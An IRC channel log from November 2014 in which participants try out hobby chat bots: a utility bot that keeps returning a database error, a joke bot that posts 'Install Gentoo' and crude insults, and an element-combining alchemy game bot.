[2014-11-28T12:15:28-0500] <goodbot> "Old English bread 'bit, crumb, morsel; bread,' cognate with Old Norse brau&eth;, Danish br&oslash;d, Old Frisian brad, Middle Dutch brot, Dutch brood, German Brot." - http://etymonline.com/?term=bread
[2014-11-28T12:15:34-0500] <alokpathy> . goodbot 
[2014-11-28T12:15:37-0500] <alokpathy> .goodbot 
[2014-11-28T12:15:40-0500] <alokpathy> .help
[2014-11-28T12:15:40-0500] <badbot> Install Gentoo.
[2014-11-28T12:15:40-0500] <goodbot> alokpathy: Say .help <command> (for example .help c) to get help for a command, or .commands for a list of commands.
[2014-11-28T12:15:40-0500] <badbot> Install Gentoo.
[2014-11-28T12:15:48-0500] <alokpathy> wow badbot 
[2014-11-28T12:15:52-0500] <Hcnsh> lol
[2014-11-28T12:15:58-0500] <Hcnsh> it's a baaad bot
[2014-11-28T12:16:07-0500] <Hcnsh> try installing gentoo to fix that
[2014-11-28T12:16:18-0500] <alokpathy> fuck you, badbot 
[2014-11-28T12:16:24-0500] <alokpathy> hi badbot 
[2014-11-28T12:16:28-0500] <alokpathy> woow
[2014-11-28T12:16:34-0500] <+hardmath123> badbot: what do you do
[2014-11-28T12:16:40-0500] <Hcnsh> hei
[2014-11-28T12:16:40-0500] <badbot> hei, Hcnsh
[2014-11-28T12:17:51-0500] <+hardmath123> goodbot: 
[2014-11-28T12:18:06-0500] <+hardmath123> badbot: what else do you do
[2014-11-28T12:18:33-0500] <Hcnsh> help hei
[2014-11-28T12:18:33-0500] <badbot> hei, Hcnsh
[2014-11-28T12:18:33-0500] <badbot> Install Gentoo.
[2014-11-28T12:18:53-0500] hardmath123 is now known as help
[2014-11-28T12:18:53-0500] <badbot> Install Gentoo.
[2014-11-28T12:18:54-0500] <+help> help
[2014-11-28T12:18:54-0500] <badbot> Install Gentoo.
[2014-11-28T12:18:57-0500] <+help> hei
[2014-11-28T12:18:57-0500] <badbot> hei, help
[2014-11-28T12:18:57-0500] <badbot> Install Gentoo.
[2014-11-28T12:19:01-0500] <Hcnsh> lol
[2014-11-28T12:19:02-0500] help is now known as hei
[2014-11-28T12:19:02-0500] <badbot> hei, help
[2014-11-28T12:19:02-0500] <badbot> Install Gentoo.
[2014-11-28T12:19:05-0500] <+hei> hei
[2014-11-28T12:19:05-0500] <badbot> fuck you, hei, i hope you die a gruesome death in a hole you asshole
[2014-11-28T12:19:09-0500] <+hei> ...
[2014-11-28T12:19:09-0500] <badbot> hei, hei
[2014-11-28T12:19:24-0500] • hei: was hoping for recursion
[2014-11-28T12:19:24-0500] <badbot> hei, hei
[2014-11-28T12:19:31-0500] <+hei> hei badbot 
[2014-11-28T12:19:31-0500] <badbot> hei, hei
[2014-11-28T12:19:33-0500] <Hcnsh> nah
[2014-11-28T12:19:36-0500] <Hcnsh> no recursion
[2014-11-28T12:19:37-0500] hei is now known as hardmath123
[2014-11-28T12:19:37-0500] <badbot> hei, hei
[2014-11-28T12:19:47-0500] <Hcnsh> it doesn't interpret what it says
[2014-11-28T12:19:48-0500] <Hcnsh> lol
[2014-11-28T12:20:27-0500] <+hardmath123> .g hei
[2014-11-28T12:20:27-0500] <badbot> fuck you, hardmath123, i hope you die a gruesome death in a hole you asshole
[2014-11-28T12:20:27-0500] <goodbot> hardmath123: http://www.hei.com/
[2014-11-28T12:20:27-0500] <badbot> hei, goodbot
[2014-11-28T12:20:38-0500] <Hcnsh> s/*/*/g
[2014-11-28T12:20:45-0500] <Hcnsh> r/*/*/g
[2014-11-28T12:21:03-0500] <Hcnsh> .seen awe
[2014-11-28T12:21:03-0500] <goodbot> Sorry, I haven't seen awe around.
[2014-11-28T12:21:40-0500] <+hardmath123> .seen Hcnsh 
[2014-11-28T12:21:40-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T12:21:45-0500] <Hcnsh> (.hi goodbot)
[2014-11-28T12:21:47-0500] <+hardmath123> well then
[2014-11-28T12:21:49-0500] <+hardmath123> .hi goodbot 
[2014-11-28T12:21:57-0500] <Hcnsh> wot
[2014-11-28T12:21:59-0500] <Hcnsh> .seen Hcnsh
[2014-11-28T12:21:59-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T12:22:03-0500] <+hardmath123> goodbot: are you alive?
[2014-11-28T12:22:04-0500] <Hcnsh> .seen hardmath123
[2014-11-28T12:22:04-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T12:22:06-0500] <Hcnsh> hmm
[2014-11-28T12:22:08-0500] <Hcnsh> .seen awe
[2014-11-28T12:22:08-0500] <goodbot> Sorry, I haven't seen awe around.
[2014-11-28T12:22:11-0500] <Hcnsh> weird
[2014-11-28T12:22:14-0500] <Hcnsh> i'll just ignore it
[2014-11-28T12:22:17-0500] <+hardmath123> :P
[2014-11-28T12:22:18-0500] al-the-bot (al-the-bot@pdgn-hq3.r2o.sr9d83.IP) left IRC (Connection closed)
[2014-11-28T12:22:37-0500] <+hardmath123> oh no
[2014-11-28T12:23:27-0500] <Hcnsh> .movie Interstellar
[2014-11-28T12:23:28-0500] <goodbot> [MOVIE] Title: Interstellar | Year: 2014 | Rating: 9.1 | Genre: Adventure, Sci-Fi | IMDB Link: http://imdb.com/title/tt0816692
[2014-11-28T12:23:48-0500] <@LittleBobbyTables> .movie Angelina Jolie
[2014-11-28T12:23:49-0500] <goodbot> [MOVIE] Title: Angelina Jolie | Year: 2005 | Rating: 8.4 | Genre: Documentary, Biography, History | IMDB Link: http://imdb.com/title/tt0969805
[2014-11-28T12:23:56-0500] <@LittleBobbyTables> lel
[2014-11-28T12:24:31-0500] <+hardmath123> .movie Star Wars VII
[2014-11-28T12:24:32-0500] <goodbot> [MOVIE] Title: Star Wars VII | Year: 2006 | Rating: 7.8 | Genre: Animation, Comedy | IMDB Link: http://imdb.com/title/tt1069289
[2014-11-28T12:24:43-0500] <+hardmath123> ...
[2014-11-28T12:25:16-0500] <Hcnsh> .xkcd fmri
[2014-11-28T12:25:17-0500] <goodbot> Could not find any comics for that query.
[2014-11-28T12:25:47-0500] <Hcnsh> .xkcd password
[2014-11-28T12:25:48-0500] <goodbot> http://xkcd.com/936 [Password Strength]
[2014-11-28T12:26:50-0500] <Hcnsh> goodbot, tell awebot he sucks.
[2014-11-28T12:26:50-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T12:27:09-0500] <Hcnsh> goodbot, tell awe his bot sucks.
[2014-11-28T12:27:09-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T12:27:16-0500] <Hcnsh> goodbot, tell goodbot he's retarded
[2014-11-28T12:27:16-0500] <goodbot> Hcnsh: I'm here now, you can tell me whatever you want!
[2014-11-28T12:27:22-0500] <Hcnsh> goodbot, you're retarded
[2014-11-28T12:30:05-0500] <Hcnsh> .spellcheck retard
[2014-11-28T12:30:35-0500] <Hcnsh> .<3
[2014-11-28T12:30:35-0500] <goodbot> <3 Hcnsh
[2014-11-28T12:30:38-0500] <Hcnsh> .spellcheck test
[2014-11-28T12:32:16-0500] <Hcnsh> .title www.google.com
[2014-11-28T12:32:28-0500] <Hcnsh> .title www.google.com
[2014-11-28T12:32:41-0500] <Hcnsh> .title http://www.google.com
[2014-11-28T12:32:41-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T12:32:42-0500] <goodbot> Hcnsh: [ Google ] - www.google.com
[2014-11-28T12:32:54-0500] <Hcnsh> .title http://www.google.com
[2014-11-28T12:32:54-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T12:32:55-0500] <goodbot> Hcnsh: [ Google ] - www.google.com
[2014-11-28T12:34:44-0500] <Hcnsh> .countdown 2014 11 29
[2014-11-28T12:34:44-0500] <goodbot> 0 days, 11 hours and 25 minutes until 2014 11 29
[2014-11-28T12:35:20-0500] <Hcnsh> .rand 1 10
[2014-11-28T12:35:20-0500] <goodbot> Hcnsh: random(1, 10) = 9
[2014-11-28T12:35:42-0500] <Hcnsh> .temp 1337K
[2014-11-28T12:35:42-0500] <goodbot> Hcnsh: 1063.85°C = 1946.93°F = 1337.00K
[2014-11-28T12:36:46-0500] <Hcnsh> .isup reddit.com
[2014-11-28T12:36:46-0500] <goodbot> http://reddit.com looks fine to me.
[2014-11-28T12:37:29-0500] <Hcnsh> .announce GOODBOT = BESTBOT
[2014-11-28T12:37:29-0500] <goodbot> [ANNOUNCEMENT] GOODBOT = BESTBOT
[2014-11-28T12:38:17-0500] <Hcnsh> .t America/New York
[2014-11-28T12:38:17-0500] <goodbot> Could not find timezone America/New York.
[2014-11-28T12:38:24-0500] <Hcnsh> .t America/New_York
[2014-11-28T12:38:24-0500] <goodbot> Could not find timezone America/New_York.
[2014-11-28T12:39:08-0500] <Tamini> Hcnsh: wanna train your bot on
[2014-11-28T12:39:13-0500] <Tamini> not the main channel? :P
[2014-11-28T12:39:17-0500] <Hcnsh> no
[2014-11-28T12:39:20-0500] <Hcnsh> plis
[2014-11-28T12:39:23-0500] <Hcnsh> let me show off what i just installed
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[2014-11-28T12:39:56-0500] <Tamini> okok
[2014-11-28T12:41:25-0500] <Hcnsh> .http://reddit.com
[2014-11-28T12:41:25-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T12:41:26-0500] <goodbot> [ reddit: the front page of the internet ] - reddit.com
[2014-11-28T12:43:09-0500] <Hcnsh> .ip 8.8.8.8
[2014-11-28T12:43:17-0500] <Hcnsh> .poophead
[2014-11-28T12:43:17-0500] goodbot (willie@pdgn-3fl.fl3.sgip0n.IP) left IRC (Quit: hcnsh disowned me.)
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[2014-11-28T12:45:12-0500] <Hcnsh> hi
[2014-11-28T12:45:19-0500] goodbot (goodbot@pdgn-3fl.fl3.sgip0n.IP) joined the channel
[2014-11-28T12:45:24-0500] <hardmath123> hi goodbot 
[2014-11-28T12:45:24-0500] <goodbot> Hi hardmath123
[2014-11-28T12:45:38-0500] hardmath123 (Hardmath123@pdgn-hq3.r2o.sr9d83.IP) left the channel ("WeeChat 0.4.3")
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[2014-11-28T12:45:40-0500] Pidgey sets mode +v hardmath123
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[2014-11-28T12:45:51-0500] <+hardmath123> @list
[2014-11-28T12:45:51-0500] <al-the-bot> You have: fire, water, air, earth
[2014-11-28T12:45:51-0500] <al-the-bot> That's 4 out of 77!
[2014-11-28T12:45:56-0500] <+hardmath123> cool
[2014-11-28T12:45:59-0500] <+hardmath123> @combine fire water
[2014-11-28T12:46:00-0500] <al-the-bot> You just discovered steam (fire + water)!
[2014-11-28T12:46:02-0500] <Hcnsh> ?
[2014-11-28T12:46:03-0500] <Hcnsh> @list
[2014-11-28T12:46:04-0500] <al-the-bot> You have: fire, water, air, steam, earth
[2014-11-28T12:46:04-0500] <al-the-bot> That's 5 out of 77!
[2014-11-28T12:46:08-0500] <+hardmath123> I made alchemy
[2014-11-28T12:46:08-0500] <Hcnsh> =o
[2014-11-28T12:46:10-0500] <+hardmath123> for IRC
[2014-11-28T12:46:14-0500] <Hcnsh> lol
[2014-11-28T12:46:16-0500] <+hardmath123> with 77 elements
[2014-11-28T12:46:18-0500] <Hcnsh> @combine fire earth
[2014-11-28T12:46:19-0500] <al-the-bot> fire and earth don't make anything exciting.
[2014-11-28T12:46:24-0500] <Hcnsh> @combine water earth
[2014-11-28T12:46:24-0500] <al-the-bot> water and earth don't make anything exciting.
[2014-11-28T12:46:27-0500] <Hcnsh> @combine air steam
[2014-11-28T12:46:27-0500] <al-the-bot> air and steam don't make anything exciting.
[2014-11-28T12:46:30-0500] <Hcnsh> damnit
[2014-11-28T12:46:33-0500] <Hcnsh> @combine fire steam
[2014-11-28T12:46:33-0500] <al-the-bot> fire and steam don't make anything exciting.
[2014-11-28T12:46:35-0500] <+hardmath123> you can make awe and xkcd and coffee
[2014-11-28T12:46:40-0500] <+hardmath123> and sysadmins and hackers
[2014-11-28T12:46:49-0500] <Hcnsh> @list
[2014-11-28T12:46:49-0500] <al-the-bot> You have: fire, water, air, steam, earth
[2014-11-28T12:46:49-0500] <al-the-bot> That's 5 out of 77!
[2014-11-28T12:46:53-0500] <Hcnsh> @combine fire water
[2014-11-28T12:46:54-0500] <al-the-bot> You just discovered steam (fire + water)!
[2014-11-28T12:46:59-0500] <Hcnsh> @combine fire air
[2014-11-28T12:46:59-0500] <al-the-bot> fire and air don't make anything exciting.
[2014-11-28T12:47:03-0500] <Hcnsh> @combine fire earth
[2014-11-28T12:47:03-0500] <al-the-bot> fire and earth don't make anything exciting.
[2014-11-28T12:47:06-0500] <Hcnsh> @combine water air
[2014-11-28T12:47:06-0500] <al-the-bot> You just discovered cloud (water + air)!
[2014-11-28T12:47:12-0500] <Hcnsh> @combine water cloud
[2014-11-28T12:47:13-0500] <al-the-bot> You just discovered rain (water + cloud)!
[2014-11-28T12:47:16-0500] <Hcnsh> @combine water rain
[2014-11-28T12:47:17-0500] <al-the-bot> water and rain don't make anything exciting.
[2014-11-28T12:47:19-0500] <Hcnsh> @combine cloud rain
[2014-11-28T12:47:20-0500] <al-the-bot> cloud and rain don't make anything exciting.
[2014-11-28T12:47:21-0500] <Hcnsh> @list
[2014-11-28T12:47:21-0500] <al-the-bot> You have: fire, rain, air, water, earth, steam, cloud
[2014-11-28T12:47:21-0500] <al-the-bot> That's 7 out of 77!
[2014-11-28T12:47:26-0500] <Hcnsh> @combine fire rain
[2014-11-28T12:47:27-0500] <al-the-bot> fire and rain don't make anything exciting.
[2014-11-28T12:47:29-0500] <Hcnsh> @combine fire air
[2014-11-28T12:47:29-0500] <al-the-bot> fire and air don't make anything exciting.
[2014-11-28T12:47:31-0500] <Hcnsh> @combine fire water
[2014-11-28T12:47:32-0500] <al-the-bot> You just discovered steam (fire + water)!
[2014-11-28T12:47:33-0500] <nezorg> .mangle Isn't Black Friday annoying?
[2014-11-28T12:47:35-0500] <goodbot> nezorg: Friday Irmeln problems ?
[2014-11-28T12:48:03-0500] <Hcnsh> hasn't affected me at all
[2014-11-28T12:48:05-0500] <+hardmath123> you can combine stuff with itself, too
[2014-11-28T12:48:06-0500] <Hcnsh> i'm still in my room
[2014-11-28T12:48:07-0500] <+hardmath123> fwiw
[2014-11-28T12:48:09-0500] <Hcnsh> no outside influence
[2014-11-28T12:48:13-0500] <Hcnsh> @list
[2014-11-28T12:48:14-0500] <al-the-bot> You have: fire, rain, air, water, earth, steam, cloud
[2014-11-28T12:48:14-0500] <al-the-bot> That's 7 out of 77!
[2014-11-28T12:48:17-0500] <Hcnsh> @combine fire fire
[2014-11-28T12:48:17-0500] <al-the-bot> You just discovered energy (fire + fire)!
[2014-11-28T12:48:21-0500] <alokpathy> al-the-bot: who are you?
[2014-11-28T12:48:22-0500] <Hcnsh> @list
[2014-11-28T12:48:22-0500] <al-the-bot> You have: fire, energy, rain, air, water, earth, steam, cloud
[2014-11-28T12:48:22-0500] <al-the-bot> That's 8 out of 77!
[2014-11-28T12:48:30-0500] <+hardmath123> alokpathy: al is my pet
[2014-11-28T12:48:34-0500] <Hcnsh> @combine fire energy
[2014-11-28T12:48:36-0500] <al-the-bot> fire and energy don't make anything exciting.
[2014-11-28T12:48:38-0500] <Hcnsh> @comebine fire rain
[2014-11-28T12:48:46-0500] <Hcnsh> @combine fire rain
[2014-11-28T12:48:48-0500] <al-the-bot> fire and rain don't make anything exciting.
[2014-11-28T12:48:51-0500] <Hcnsh> @combine fire air
[2014-11-28T12:48:51-0500] <al-the-bot> fire and air don't make anything exciting.
[2014-11-28T12:48:51-0500] <nezorg> .mangle I shall say all my messages like this from now on
[2014-11-28T12:48:53-0500] <goodbot> nezorg: In the above that says all
[2014-11-28T12:49:15-0500] <@LittleBobbyTables> https://www.youtube.com/watch?v=MA8rhf2KVzs
[2014-11-28T12:49:15-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T12:49:18-0500] <goodbot> [YouTube] Title: Worst Rap Battle Ever | Uploader: Stormedge | Uploaded: 31/12/2005, 20:45 | Duration: 2mins 51secs | Views: 2,894,164 | Comments: 16,921 | Likes: 23,182 | Dislikes: 4,760
[2014-11-28T12:50:56-0500] <Hcnsh> apparently virus detection isn't working
[2014-11-28T12:51:00-0500] <Hcnsh> because that video gave me cancer
[2014-11-28T12:52:54-0500] <Hcnsh> .reload *
[2014-11-28T12:53:07-0500] <Hcnsh> goodbot, reload *
[2014-11-28T12:53:07-0500] <goodbot> Hcnsh: done
[2014-11-28T12:53:09-0500] <+hardmath123> al-the-bot: are you alive?
[2014-11-28T12:53:25-0500] <+hardmath123> pdgn keeps throttling my bots :(
[2014-11-28T12:58:01-0500] <Hcnsh> ...
[2014-11-28T12:58:03-0500] <Hcnsh> .<3
[2014-11-28T12:58:04-0500] <goodbot> <3 Hcnsh
[2014-11-28T13:02:42-0500] <Hcnsh> why is it so lonely in here
[2014-11-28T13:03:09-0500] <Hcnsh> .choose stay here|do homework
[2014-11-28T13:03:09-0500] <goodbot> Hcnsh: Your options: stay here, do homework. My choice: do homework
[2014-11-28T13:03:13-0500] <Hcnsh> thanks goodbot
[2014-11-28T13:06:10-0500] <+hardmath123> :P
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[2014-11-28T13:06:16-0500] <+hardmath123> oh n
[2014-11-28T13:06:19-0500] <+hardmath123> o
[2014-11-28T13:06:28-0500] <+hardmath123> al dies whenever I say `:P`
[2014-11-28T13:06:45-0500] <alokpathy> hardmath123: I think you hurt its feelings.
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[2014-11-28T13:07:16-0500] <+hardmath123> Hi al
[2014-11-28T13:07:18-0500] <+hardmath123> :P
[2014-11-28T13:07:20-0500] <+hardmath123> :)
[2014-11-28T13:07:22-0500] <+hardmath123> :(
[2014-11-28T13:07:24-0500] <+hardmath123> :)
[2014-11-28T13:07:26-0500] <+hardmath123> Yaaaay
[2014-11-28T13:07:28-0500] <+hardmath123> @list
[2014-11-28T13:07:28-0500] <al-the-bot> You have: fire, energy, rain, air, water, earth, steam, cloud
[2014-11-28T13:07:28-0500] <al-the-bot> That's 8 out of 77!
[2014-11-28T13:07:34-0500] <+hardmath123> nice.
[2014-11-28T13:07:54-0500] <+hardmath123> @list
[2014-11-28T13:07:54-0500] <al-the-bot> You have: fire, energy, rain, air, water, earth, steam, cloud
[2014-11-28T13:07:54-0500] <al-the-bot> That's 8 out of 77!
[2014-11-28T13:07:55-0500] <+hardmath123> @slit
[2014-11-28T13:07:57-0500] <+hardmath123> @list
[2014-11-28T13:07:58-0500] <al-the-bot> You have: fire, energy, rain, air, water, earth, steam, cloud
[2014-11-28T13:07:58-0500] <al-the-bot> That's 8 out of 77!
[2014-11-28T13:08:06-0500] <+hardmath123> hmm
[2014-11-28T13:08:22-0500] <+hardmath123> @help
[2014-11-28T13:08:22-0500] <badbot> Install Gentoo.
[2014-11-28T13:08:22-0500] <al-the-bot> To mix a new brew: `@combine <element> <element>`
[2014-11-28T13:08:22-0500] <al-the-bot> To list your elements: `@list`
[2014-11-28T13:14:13-0500] <@awe> Hcnsh: my bot doesn't suck. I just haven't written as much
[2014-11-28T13:14:23-0500] <@awe> @combine fire energy
[2014-11-28T13:14:23-0500] <al-the-bot> fire and energy don't make anything exciting.
[2014-11-28T13:14:28-0500] <@awe> @combine earth rain
[2014-11-28T13:14:29-0500] <al-the-bot> You just discovered soil (earth + rain)!
[2014-11-28T13:14:36-0500] <@awe> @combine energy water
[2014-11-28T13:14:37-0500] <al-the-bot> energy and water don't make anything exciting.
[2014-11-28T13:14:42-0500] <@awe> @combine energy steam
[2014-11-28T13:14:42-0500] <alokpathy> @combine energy soil
[2014-11-28T13:14:42-0500] <al-the-bot> energy and steam don't make anything exciting.
[2014-11-28T13:14:43-0500] <al-the-bot> You just discovered plant (energy + soil)!
[2014-11-28T13:14:49-0500] <@awe> @omcbine plant rain
[2014-11-28T13:14:52-0500] <@awe> @combine plant rain
[2014-11-28T13:14:53-0500] <al-the-bot> You just discovered tree (plant + rain)!
[2014-11-28T13:14:59-0500] <@awe> @combine tree fire
[2014-11-28T13:14:59-0500] <al-the-bot> tree and fire don't make anything exciting.
[2014-11-28T13:15:02-0500] <@awe> @combine plant fire
[2014-11-28T13:15:03-0500] <alokpathy> False
[2014-11-28T13:15:03-0500] <al-the-bot> plant and fire don't make anything exciting.
[2014-11-28T13:15:09-0500] <alokpathy> @combine tree rain
[2014-11-28T13:15:09-0500] <al-the-bot> tree and rain don't make anything exciting.
[2014-11-28T13:15:16-0500] <@awe> @combine steam rain
[2014-11-28T13:15:16-0500] <al-the-bot> steam and rain don't make anything exciting.
[2014-11-28T13:15:18-0500] <alokpathy> @combine earth steam
[2014-11-28T13:15:18-0500] <al-the-bot> earth and steam don't make anything exciting.
[2014-11-28T13:15:19-0500] <@awe> @combine rain cloud
[2014-11-28T13:15:20-0500] <al-the-bot> rain and cloud don't make anything exciting.
[2014-11-28T13:15:24-0500] <alokpathy> @combine tree steam
[2014-11-28T13:15:25-0500] <al-the-bot> tree and steam don't make anything exciting.
[2014-11-28T13:15:28-0500] <@awe> @combine tree cloud
[2014-11-28T13:15:29-0500] <al-the-bot> tree and cloud don't make anything exciting.
[2014-11-28T13:15:34-0500] <alokpathy> @list
[2014-11-28T13:15:34-0500] <al-the-bot> You have: plant, fire, soil, energy, tree, rain, air, water, earth, steam, cloud
[2014-11-28T13:15:34-0500] <al-the-bot> That's 11 out of 77!
[2014-11-28T13:15:37-0500] <@awe> @combine tree energy
[2014-11-28T13:15:38-0500] <al-the-bot> You just discovered ent (tree + energy)!
[2014-11-28T13:15:43-0500] <alokpathy> wat
[2014-11-28T13:15:43-0500] <@awe> @combine ent fire
[2014-11-28T13:15:43-0500] <al-the-bot> ent and fire don't make anything exciting.
[2014-11-28T13:15:51-0500] <@awe> @combine energy cloud
[2014-11-28T13:15:51-0500] <al-the-bot> You just discovered lightning (energy + cloud)!
[2014-11-28T13:15:55-0500] <@awe> @combine lightning tree
[2014-11-28T13:15:55-0500] <al-the-bot> lightning and tree don't make anything exciting.
[2014-11-28T13:15:58-0500] <@awe> @combine lightning fire
[2014-11-28T13:15:59-0500] <al-the-bot> lightning and fire don't make anything exciting.
[2014-11-28T13:16:03-0500] <@awe> @combine lightning water
[2014-11-28T13:16:04-0500] <al-the-bot> lightning and water don't make anything exciting.
[2014-11-28T13:16:06-0500] <alokpathy> @combine lightning energy
[2014-11-28T13:16:06-0500] <al-the-bot> lightning and energy don't make anything exciting.
[2014-11-28T13:16:10-0500] <@awe> @combine lightning rain
[2014-11-28T13:16:10-0500] <alokpathy> @combine lightning cloud
[2014-11-28T13:16:10-0500] <al-the-bot> lightning and rain don't make anything exciting.
[2014-11-28T13:16:11-0500] <al-the-bot> lightning and cloud don't make anything exciting.
[2014-11-28T13:16:15-0500] <alokpathy> @combine lightning earth
[2014-11-28T13:16:16-0500] <al-the-bot> You just discovered electricity (lightning + earth)!
[2014-11-28T13:16:19-0500] <alokpathy> yo nice
[2014-11-28T13:16:22-0500] <+hardmath123> awe: you can make `awe` in this game.
[2014-11-28T13:16:29-0500] <alokpathy> @combine electricity tree
[2014-11-28T13:16:29-0500] <al-the-bot> electricity and tree don't make anything exciting.
[2014-11-28T13:16:33-0500] <alokpathy> @combine electricity water
[2014-11-28T13:16:33-0500] <al-the-bot> electricity and water don't make anything exciting.
[2014-11-28T13:16:36-0500] <alokpathy> @combine electricity cloud
[2014-11-28T13:16:37-0500] <al-the-bot> electricity and cloud don't make anything exciting.
[2014-11-28T13:16:39-0500] <@awe> @combine electricity steam
[2014-11-28T13:16:39-0500] <al-the-bot> electricity and steam don't make anything exciting.
[2014-11-28T13:16:43-0500] <alokpathy> @combine electricity air
[2014-11-28T13:16:43-0500] <@awe> @combine electricity fire
[2014-11-28T13:16:43-0500] <al-the-bot> electricity and air don't make anything exciting.
[2014-11-28T13:16:43-0500] <al-the-bot> electricity and fire don't make anything exciting.
[2014-11-28T13:16:48-0500] <@awe> @combine electricity  ent
[2014-11-28T13:16:48-0500] <alokpathy> @combine electricity energy
[2014-11-28T13:16:49-0500] <al-the-bot> electricity and energy don't make anything exciting.
[2014-11-28T13:16:50-0500] <@awe> @combine electricity ent
[2014-11-28T13:16:51-0500] <al-the-bot> electricity and ent don't make anything exciting.
[2014-11-28T13:16:55-0500] <alokpathy> @list
[2014-11-28T13:16:56-0500] <al-the-bot> You have: plant, fire, soil, energy, tree, rain, air, water, electricity, ent, earth, lightning, steam, cloud
[2014-11-28T13:16:56-0500] <al-the-bot> That's 14 out of 77!
[2014-11-28T13:17:06-0500] <alokpathy> @combine electricity ent
[2014-11-28T13:17:06-0500] <al-the-bot> electricity and ent don't make anything exciting.
[2014-11-28T13:17:12-0500] <alokpathy> @combine electricity soil
[2014-11-28T13:17:12-0500] <al-the-bot> electricity and soil don't make anything exciting.
[2014-11-28T13:17:21-0500] <alokpathy> @combine earth cloud
[2014-11-28T13:17:22-0500] <al-the-bot> earth and cloud don't make anything exciting.
[2014-11-28T13:17:22-0500] <@awe> @combine @combine steam earth
[2014-11-28T13:17:26-0500] <@awe> @combine steam earth
[2014-11-28T13:17:27-0500] <al-the-bot> steam and earth don't make anything exciting.
[2014-11-28T13:17:32-0500] <alokpathy> @combine steam earth electricity
[2014-11-28T13:17:39-0500] <alokpathy> Oh, no three-way. Okay.
[2014-11-28T13:17:41-0500] <@awe> @combine electricity energy
[2014-11-28T13:17:41-0500] <al-the-bot> electricity and energy don't make anything exciting.
[2014-11-28T13:17:59-0500] <alokpathy> @combine plant electricity 
[2014-11-28T13:18:15-0500] <@awe> @combine plant soil
[2014-11-28T13:18:15-0500] <alokpathy> ...?
[2014-11-28T13:18:16-0500] <al-the-bot> plant and soil don't make anything exciting.
[2014-11-28T13:18:19-0500] <@awe> @combine plant energy
[2014-11-28T13:18:20-0500] <al-the-bot> plant and energy don't make anything exciting.
[2014-11-28T13:18:21-0500] <alokpathy> @combine plant electricity
[2014-11-28T13:18:21-0500] <al-the-bot> plant and electricity don't make anything exciting.
[2014-11-28T13:18:23-0500] <@awe> @combine plant tree
[2014-11-28T13:18:23-0500] <al-the-bot> plant and tree don't make anything exciting.
[2014-11-28T13:18:25-0500] <@awe> @combine plant rain
[2014-11-28T13:18:25-0500] <al-the-bot> You just discovered tree (plant + rain)!
[2014-11-28T13:18:30-0500] <@awe> @combine plant air
[2014-11-28T13:18:31-0500] <al-the-bot> plant and air don't make anything exciting.
[2014-11-28T13:18:33-0500] <@awe> @combine plant water
[2014-11-28T13:18:34-0500] <al-the-bot> plant and water don't make anything exciting.
[2014-11-28T13:18:36-0500] <@awe> @combine plant ent
[2014-11-28T13:18:36-0500] <al-the-bot> plant and ent don't make anything exciting.
[2014-11-28T13:18:41-0500] <@awe> @combine plant earth
[2014-11-28T13:18:41-0500] <al-the-bot> plant and earth don't make anything exciting.
[2014-11-28T13:18:45-0500] <@awe> @combine plant lightning
[2014-11-28T13:18:45-0500] <al-the-bot> plant and lightning don't make anything exciting.
[2014-11-28T13:18:45-0500] <alokpathy> @combine tree steam
[2014-11-28T13:18:46-0500] <al-the-bot> tree and steam don't make anything exciting.
[2014-11-28T13:18:50-0500] <@awe> @combine plant steam
[2014-11-28T13:18:50-0500] <alokpathy> This game is hard.
[2014-11-28T13:18:50-0500] <al-the-bot> plant and steam don't make anything exciting.
[2014-11-28T13:18:52-0500] <@awe> @combine plant cloud
[2014-11-28T13:18:53-0500] <al-the-bot> plant and cloud don't make anything exciting.
[2014-11-28T13:18:56-0500] <@awe> @list
[2014-11-28T13:18:58-0500] <al-the-bot> You have: plant, fire, soil, energy, tree, rain, air, water, electricity, ent, earth, lightning, steam, cloud
[2014-11-28T13:18:58-0500] <al-the-bot> That's 14 out of 77!
[2014-11-28T13:19:04-0500] <@awe> @combine fire soil
[2014-11-28T13:19:04-0500] <al-the-bot> fire and soil don't make anything exciting.
[2014-11-28T13:19:06-0500] <@LittleBobbyTables> God, this game.
[2014-11-28T13:19:06-0500] <@awe> @combine fire energy
[2014-11-28T13:19:07-0500] <al-the-bot> fire and energy don't make anything exciting.
[2014-11-28T13:19:09-0500] <@awe> @combine fire tree
[2014-11-28T13:19:09-0500] <al-the-bot> fire and tree don't make anything exciting.
[2014-11-28T13:19:11-0500] <@awe> @combine fire rain
[2014-11-28T13:19:12-0500] <al-the-bot> fire and rain don't make anything exciting.
[2014-11-28T13:19:13-0500] <@awe> @combine fire air
[2014-11-28T13:19:14-0500] <al-the-bot> fire and air don't make anything exciting.
[2014-11-28T13:19:16-0500] <@awe> @combine fire water
[2014-11-28T13:19:16-0500] <al-the-bot> You just discovered steam (fire + water)!
[2014-11-28T13:19:20-0500] <@awe> @combine fire electricity
[2014-11-28T13:19:20-0500] <@LittleBobbyTables> @combine fire steam
[2014-11-28T13:19:20-0500] <al-the-bot> fire and electricity don't make anything exciting.
[2014-11-28T13:19:20-0500] <al-the-bot> fire and steam don't make anything exciting.
[2014-11-28T13:19:23-0500] <@awe> @combine fire ent
[2014-11-28T13:19:24-0500] <al-the-bot> fire and ent don't make anything exciting.
[2014-11-28T13:19:26-0500] <@awe> @combine fire earth
[2014-11-28T13:19:27-0500] <al-the-bot> fire and earth don't make anything exciting.
[2014-11-28T13:19:28-0500] <@awe> @combine fire lightning
[2014-11-28T13:19:29-0500] <al-the-bot> fire and lightning don't make anything exciting.
[2014-11-28T13:19:32-0500] <@awe> @combine fire steam
